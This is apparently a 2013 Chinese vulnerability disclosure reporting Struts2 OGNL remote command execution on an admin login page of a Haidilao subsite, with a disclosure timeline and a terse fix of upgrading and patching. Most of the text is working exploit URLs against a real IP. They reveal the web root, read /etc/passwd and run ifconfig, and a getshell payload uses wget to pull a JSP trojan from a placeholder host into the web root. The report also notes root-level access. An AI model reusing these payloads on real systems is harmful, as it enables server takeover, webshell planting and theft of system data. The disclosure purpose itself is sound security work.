2013-08-01: 细节已通知厂商并且等待厂商处理中 2013-08-01: 厂商已经确认,细节仅向厂商公开 2013-08-11: 细节向核心白帽子及相关领域专家公开 2013-08-21: 细节向普通白帽子公开 2013-08-31: 细节向实习白帽子公开 2013-09-15: 细节向公众公开
海底捞某分站命令执行,可getshsll
先看看目录:
http://124.127.49.85:8080/hdlAdmin/account/userLogin.action?redirect%3A%24{%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29}
cat /etc/passwd:
http://124.127.49.85:8080/hdlAdmin/account/userLogin.action?redirect:${%20%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{%27cat%27,%27/etc/passwd%27}%29%29.start%28%29,%20%23b%3d%23a.getInputStream%28%29,%20%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%20%23d%3dnew%20java.io.BufferedReader%28%23c%29,%20%23e%3dnew%20char[50000],%23d.read%28%23e%29,%20%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%20%23matt.getWriter%28%29.println%28%23e%29,%20%23matt.getWriter%28%29.flush%28%29,%20%23matt.getWriter%28%29.close%28%29%20}
ifconfig -a:
http://124.127.49.85:8080/hdlAdmin/account/userLogin.action?redirect:${%20%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{%27ifconfig%27,%27-a%27}%29%29.start%28%29,%20%23b%3d%23a.getInputStream%28%29,%20%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%20%23d%3dnew%20java.io.BufferedReader%28%23c%29,%20%23e%3dnew%20char[50000],%23d.read%28%23e%29,%20%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%20%23matt.getWriter%28%29.println%28%23e%29,%20%23matt.getWriter%28%29.flush%28%29,%20%23matt.getWriter%28%29.close%28%29%20}
上工具测试一下:
root权限的:
getshell方法:
124.127.49.85:8080/hdlAdmin/account/userLogin.action?redirect:${ %23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'wget','http://www.xxxx.com/muma.jsp''-O','/opt/sns/apache-tomcat-6.0.32-admin/webapps/hdlAdmin/muma.jsp'})).start(), %23b%3d%23a.getInputStream(), %23c%3dnew java.io.InputStreamReader(%23b), %23d%3dnew java.io.BufferedReader(%23c), %23e%3dnew char[50000],%23d.read(%23e), %23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'), %23matt.getWriter().println(%23e), %23matt.getWriter().flush(), %23matt.getWriter().close() }
这样就可以把muma.jsp木马下载到网站根目录下了。这里我没有上传webshell,这里我们演示一下下载一个2.txt到当前目录,把上面的命令变一下如下的命令就搞定了:
wget http://www.baidu.com/robots.txt -O baidu.txt
见详细说明
升级,打补丁
危害等级:中
漏洞Rank:10
确认时间:2013-08-01 17:16
暂无